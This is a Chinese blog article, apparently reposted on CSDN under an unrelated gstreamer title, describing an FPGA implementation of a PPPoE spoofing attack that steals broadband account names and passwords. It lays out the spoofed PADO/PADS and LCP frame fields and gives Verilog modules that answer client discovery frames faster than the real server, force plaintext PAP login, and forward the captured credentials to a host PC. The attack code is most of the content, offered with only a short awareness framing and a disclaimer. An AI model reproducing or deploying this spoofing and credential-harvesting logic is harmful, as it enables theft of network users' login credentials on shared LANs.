gstreamer 获取帧数据_【源码】基于FPGA的PPPoE协议获取账号密码的攻击实现

作者:西安电子科技大学通信工程学院 潘伟涛副教授

如何采用FPGA实现PPPoE的第一种攻击,也就是获取对方账号密码的攻击。本文针对FPGA实现攻击进行详细的介绍。FPGA实现方式具有非常好的硬件加速性能,窃取账号密码的成功率也会更高。因为,较之前Python实现方式而言,在收到网络上某台计算机发送的PADI广播包后,FPGA实现的伪装的服务器具有相当大的概率会抢在真正的服务器之前向该计算机发送欺骗帧(让对方将自己的账号密码以明文的形式反馈回来)。本文的目的一方面提醒网络安全的重要性,另一方面让大家意识到硬件加速力的重要性。试想,如果采用FPGA发起上文中提到的第三种DDOS攻击,估计瞬间就会造成整个网络的瘫痪。提升网络安全意识,从一点一滴做起。

一开始,我们先回顾一下之前使用Python实现的软件攻击的过程。

一、Python实现的软件攻击回顾

对于PPPOE认证上网的过程如下图所示,分为发现阶段和会话阶段,发现阶段分为PADI,PADO,PADR,PADS。

ee0ec27f79edfa1e52c0206516f690c2.png

其中窃取账号密码的问题就出现在第一步PADI。PPPOE客户端进行连接时,在PADI阶段会发送一个广播包,寻找局域网中的PPPOE服务器,从而完成认证。

这时候我们需要做的是伪装成PPPOE服务器,回复请求信息,抢先和客户端通信,并强制客户端使用明文传输方式,从而获取账号和密码。下面我们通过wireshark抓一下数据包,更加直观的观察一下寻找PPPOE服务器的过程。点击宽带连接,使用Wireshark监听,会发现广播包,这时候pppoe服务器会进行回复。

71bcad2d771a2e824eca0dc68edc4467.png

攻击场景:在本机电脑上开启PPPOE欺骗程序,开始进行监听,并在局域网中的其他电脑上进行宽带连接,观察欺骗效果。如下图所示,已经成功欺骗出了账号和密码。

4fb28a2113d06f634e628e8812a1c58c.png

窃取账号的部分代码内容如下

cde61b36b3f9aca9b9b6da7b830d42db.png

二、FPGA实现攻击必须完成的任务

PPPOE的认证过程分两个阶段:

1、发现阶段:客户机寻找并确定可用的服务器,得到会话ID

2、会话阶段:在发现阶段所确定的参数基础上,依次完成链路控制协商、认证和NCP协商

由于会话阶段的认证步骤中进行用户密码传输,故FPGA伪装至少完成:

1.发现阶段

2.会话阶段的链路控制协商

c602b179148dd80bae4920c3a02b79de.png

三、发现阶段帧结构

发现阶段伪装要做到两点,一是识别并记录客户机的PADI、PADR帧信息;二是发送对应的PADO、PADS帧

84053889c4c608affb4497383c947720.png

发现阶段:PADI帧的识别与PADO帧的发送

aa8fa03cca0c25b688efd2aa7b2af1bb.png

PADI帧识别特征

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x09(PADI帧)

PADO帧发送

•目的MAC地址:客户机地址(PADI帧中源MAC地址)

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x07(PADO帧)

•静载荷域:在收到的PADI帧的净载荷后加上AC-NAME

发现阶段:PADR帧的识别与PADS帧的发送

053b6848e70f53a0a9f4af0b71afa30c.png

PADR帧识别特征

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x19(PADR帧)

PADS帧发送

•目的MAC地址:客户机地址(PADR帧中源MAC地址)

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x65(PADS帧)

•会话ID:可统一设为不为0的固定值

•净载荷域:与收到PADR帧的净载荷相同

四、会话阶段帧结构

93ac559faca03bfa7160f6754ff1d6fb.png

会话阶段要做到:

1.发送认证协议参数为0xc023(PAP协议)的Config-Request报文

2.识别客户机发送的Config-Request报文并回应Config-Ack报文

会话阶段:Request帧的发送

a10f39e1831566a614ad22050119ea0a.png

LCP Configuration Request帧

•目的MAC地址:客户机地址(PADR帧中源MAC地址)

•帧类型域:0x8864(会话阶段)

•PPPOE帧代码域:0x00(会话数据)

•会话ID:可统一设为不为0的固定值

•点对点协议:0xc021(LCP协议)

•PPP LCP帧代码域:0x01(Request帧)

•认证协议:0xc023(PAP协议)

会话阶段:Ack帧的发送

27c0249771a39615fff70c6f069f768f.png

LCP Configuration Ack帧

•目的MAC地址:客户机地址(Request帧中源MAC地址)

•帧类型域:0x8864(会话阶段)

•PPPOE帧代码域:0x00(会话数据)

•会话ID:可统一设为不为0的固定值

•点对点协议:0xc021(LCP协议)

•PPP LCP帧代码域:0x02(Ack帧)

•其余数据均与接收的Request帧保持一致即可

五、FPGA实现

f82186b35290e3da2a6ae95f64e135bf.png

1、u_pppoeattack_v1模块

•解析识别0口接收到的PPPOED、PPP帧
•记录特定帧的帧信息(源MAC地址、控制信息用寄存器保存,载荷用FIFO保存)

•根据接收的帧类型确定回复帧类型

•根据记录的信息和回复帧类型向0口发送对应帧

(1)解析识别0口接收到的PPPOED、PPP帧

首先获取接收帧不同结构位置下的数据

1f36f1c587d81235f8e59f71d3b9eb94.png
//获取接收帧的帧类型、PPPOE类型、PPPOE会话ID
always @(posedge clk or negedge reset_n)
begin
    if(reset_n == 1'b0)
    begin
        frame_type        <= 16'b0;
        pppoed_code       <= 8'b0 ;
        lcp_code          <= 8'd0 ;
        pppoed_session_id <= 16'b0;
    end
    else if(read_frame_step == 9'd3)
    begin
        frame_type <= ff_rx_data[31:16];
        pppoed_code<= ff_rx_data[7:0];
    end
    else if(read_frame_step == 9'd4)
    begin
        pppoed_session_id <= ff_rx_data[31:16];
    end
    else if(read_frame_step == 9'd5)
    begin
        lcp_code <= ff_rx_data[15:8];
    end
    else
    begin
        frame_type        <= 16'b0;
        pppoed_code       <= 8'b0 ;
        pppoed_session_id <= 16'b0;
        lcp_code          <= 8'd0 ;
    end
end

(2)解析识别0口接收到的PPPOED、PPP帧

其次要根据获取数据判断接收帧类型,并在回复帧之前确定好回复帧类型

//确定该发送何种PPPOE帧
always @(posedge clk or negedge reset_n)
begin
    if(reset_n == 1'b0)
    begin
        send_frame_step_flag <= 4'd0;
    end
    else if(ff_tx_eop == 1'b1 && (send_frame_step_flag == PADS || send_frame_step_flag == PPP_LCP_ACK))
    begin
        send_frame_step_flag <= PPP_LCP_REQUEST;
    end
    else if(ff_tx_eop == 1'b1)
    begin
        send_frame_step_flag <= 4'd0;
    end
    else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h09 && send_frame_step_flag == 4'd0)
    begin
        send_frame_step_flag <= PADO;
    end
    else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h19 && send_frame_step_flag == 4'd0)
    begin
        send_frame_step_flag <= PADS;
    end
    else if(frame_type == PPP_SESSION && lcp_code == 8'h01 && send_frame_step_flag == 4'd0)
    begin
        send_frame_step_flag <= PPP_LCP_ACK;
    end
end

(3)解析识别0口接收到的PPPOED、PPP帧

记录特定帧的帧信息

载荷用FIFO保存

payload_fifo u_payload_fifo (
  .clk(clk),      // input wire clk
  .rst(~reset_n),    // input wire srst
  .din(ff_rx_data),      // input wire [31 : 0] din
  .wr_en(payload_data_wren),  // input wire wr_en
  .rd_en(payload_data_rden),  // input wire rd_en
  .dout(fifo_payload_dout),    // output wire [31 : 0] dout
  .full(payload_fifo_full),    // output wire full
  .empty(payload_fifo_empty)  // output wire empty
);

源MAC地址等信息用寄存器保存

//获取接收帧的目的MAC地址和源MAC地址
always @(posedge clk or negedge reset_n)
begin
    if(reset_n == 1'b0)
    begin
        des_addr <= 48'b0;
        sou_addr <= 48'b0;
    end
    else if(read_frame_step == 9'd0 && ff_rx_sop == 1'b1 && ff_rx_dval == 1'b1)
    begin
        des_addr[47:16] <= ff_rx_data;
    end
    else if(read_frame_step == 9'd1)
    begin
        des_addr[15:0]  <= ff_rx_data[31:16];
        sou_addr[47:32] <= ff_rx_data[15:0] ;
    end
    else if(read_frame_step == 9'd2)
    begin
        sou_addr[31:0]  <= ff_rx_data;
    end
end

(4)对应帧的发送:依次将地址数据、帧格式数据以及载荷写入到输出数据信号并发送

//帧发送数据赋值
always @(posedge clk or negedge reset_n)
begin
    if(reset_n == 1'b0)
    begin
        ff_tx_data <= 32'b0;
    end
    else if(send_frame_step_flag != 4'd0 && send_frame_step  == 9'd0)
    begin
        ff_tx_data <= sou_addr[47:16]; //发送目的MAC地址(接收帧源地址)
    end
    else if(send_frame_step_flag != 4'd0 && send_frame_step  == 9'd1)
    begin
        ff_tx_data <= {sou_addr[15:0],MAC_ADDR[47:32]};
    end
    else if(send_frame_step_flag != 4'd0 && send_frame_step  == 9'd2)
    begin
        ff_tx_data <= MAC_ADDR[31:0];
    end
    else if(send_frame_step_flag != 4'd0 && send_frame_step  == 9'd3)
    begin
        ff_tx_data <= {send_frame_type,8'h11,send_pppoed_code};
    end  //发送帧类型数据
    else if(send_frame_step_flag != 4'd0 && send_frame_step  == 9'd4)
    begin//发送会话ID及载荷长度
        ff_tx_data <= {send_session_id,send_frame_payload_length};
    end
    else if(send_frame_step_flag != 4'd0 && send_frame_step  == 9'd5 && send_ppp_type != 16'h0)
    begin//发送PPP和LCP帧类型以及分类码
        ff_tx_data <= {send_ppp_type,send_lcp_code,send_lcp_identifier};
    end
    else if(send_frame_step_flag != 4'd0 && send_payload_flag == 1'b1)
    begin
        ff_tx_data <= fifo_payload_dout; //发送特定帧所需的之前记录的接收帧载荷
    end
    else if(send_frame_step_flag == PADO && send_frame_step > 9‘d4) //发送PADO帧载荷
    begin
        if(send_cnt == 3'd4)
        ff_tx_data <= {AC_NAME[7:0],24'b0};
        else if(send_cnt == 3'd3)
        ff_tx_data <= AC_NAME[39:8];
        else if(send_cnt == 3'd2)
        ff_tx_data <= AC_NAME[71:40];
        else if(send_cnt == 3'd1)
        ff_tx_data <= AC_NAME[103:72];
        else if(send_cnt == 3'd0)
        ff_tx_data <= AC_NAME_TAG;
    end
else if(send_frame_step_flag == PPP_LCP_REQUEST && send_frame_step > 9‘d4) //发送LCP_Request帧载荷
    begin
        if(send_cnt == 3'd4)
        ff_tx_data <= LCP_OPTIONS[31:0];
        else if(send_cnt == 3'd3)
        ff_tx_data <= LCP_OPTIONS[63:32];
        else if(send_cnt == 3'd2)
        ff_tx_data <= LCP_OPTIONS[95:64];
        else if(send_cnt == 3'd1)
        ff_tx_data <= LCP_OPTIONS[127:96];
        else if(send_cnt == 3'd0)
        ff_tx_data <= LCP_OPTIONS[159:128];
    end
    else 
    begin
        ff_tx_data <= 32'b0;
    end
end

2、u_pppoeattack_authen_forward模块

•解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧

•记录1口以太网帧的帧信息(源MAC地址用寄存器保存)

•记录PPP_PAP帧的帧信息(载荷域的账号密码用FIFO保存)

•接收到PAP帧后向1口发送包含账号密码的自定义帧

(1)解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧与u_pppoeattack_v1模块操作相同

//获取1口接收以太网帧源MAC地址
always @(posedge clk or negedge reset_n)
begin
    if(reset_n == 1'b0)
    begin
        sou_addr_1 <= 48'hffffffffffff;
    end
    else if(read_frame_step_1 == 9'd1)
    begin
        sou_addr_1[47:32] <= ff_rx_data_1[15:0] ;
    end
    else if(read_frame_step_1 == 9'd2)
    begin
        sou_addr_1[31:0]  <= ff_rx_data_1;
    end
end
//拉高写使能信号,将PPP_PAP帧账号密码信息写入FIFO
always @(posedge clk or negedge reset_n)
begin
    if(reset_n == 1'b0)
    begin
        payload_data_wren <= 1'b0;
    end
    else if(payload_data_write_cnt >= (payload_length_4bytes - 1))
    begin
        payload_data_wren <= 1'b0;
    end
    else if(frame_type == 16'h8864 && pppoed_code == 8'h00 && ff_rx_data_0[31:16] == 16'hc023 && ff_rx_data_0[15:8] == 8'h01 && payload_fifo_full == 1'b0 && read_frame_step == 9'd5)
    begin
        payload_data_wren <= 1'b1;
    end
end

//将接收到PPP_PAP帧的账号密码信息打包为一个自定义帧通过1口发往上位机
always @(posedge clk or negedge reset_n)
begin
    if(reset_n == 1'b0)
    begin
        ff_tx_data_1 <= 32'b0;
    end
    else if(ff_tx_eop_1 == 1'b1)
    begin
        ff_tx_data_1 <= 32'b0;
    end
    else if(send_frame_step == 9‘d1) //目的MAC地址
    begin
        ff_tx_data_1 <= sou_addr_1[47:16];
    end
    else if(send_frame_step == 9'd2)
    begin
        ff_tx_data_1 <= {sou_addr_1[15:0],MAC_ADDR[47:32]};
    end
    else if(send_frame_step == 9‘d3) //板子源MAC地址
    begin
        ff_tx_data_1 <= MAC_ADDR[31:0];
    end
    else if(send_frame_step == 9‘d4) 
    begin//自定义帧类型0x8817,0x23与0x02为数据起始符
        ff_tx_data_1 <= {16‘h8817,8’h23,8‘h02}; 
    end
    else if(send_frame_step == 9'd5)
    begin //0x2020为两个空格,替换原无效数据,0x25为数据分隔符%
        ff_tx_data_1 <= {16'h2020,8'h25,fifo_payload_dout[7:0]};
    end 
    else if(send_frame_step == send_frame_length_4bytes && send_frame_step > 9‘d5) //0x24表示数据结束符
    begin
        ff_tx_data_1 <= {8'h24,24'h0};
    end
    else if(send_frame_step > 9‘d5 && account_cnt > account_length) //在账号与密码之间加入一个0x25数据分隔符%
    begin
        if(account_length == account_cnt - 8'd4)
        ff_tx_data_1 <= {8'h25,fifo_payload_dout[23:0]};
        else if(account_length == account_cnt - 8'd3)
        ff_tx_data_1 <= {fifo_payload_dout[31:24],8'h25,fifo_payload_dout[15:0]};
        else if(account_length == account_cnt - 8'd2)
        ff_tx_data_1 <= {fifo_payload_dout[31:16],8'h25,fifo_payload_dout[7:0]};
        else if(account_length == account_cnt - 8'd1)
        ff_tx_data_1 <= {fifo_payload_dout[31:8],8'h25};
        else 
        ff_tx_data_1 <= fifo_payload_dout;
    end
    else if(send_frame_step > 9'd5)
    begin
        ff_tx_data_1 <= fifo_payload_dout;
    end
end

六、效果

846df9709a1a23bb8baf36b18508de68.png

a5d814492db0c77ed2a17e5a23800a8b.png

a7113f173aeba6354ce04a2c18916e3c.png

温馨提示:

文中内容纯粹为学术交流,若有同学自己练习引起的一切问题,本文概不负责。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值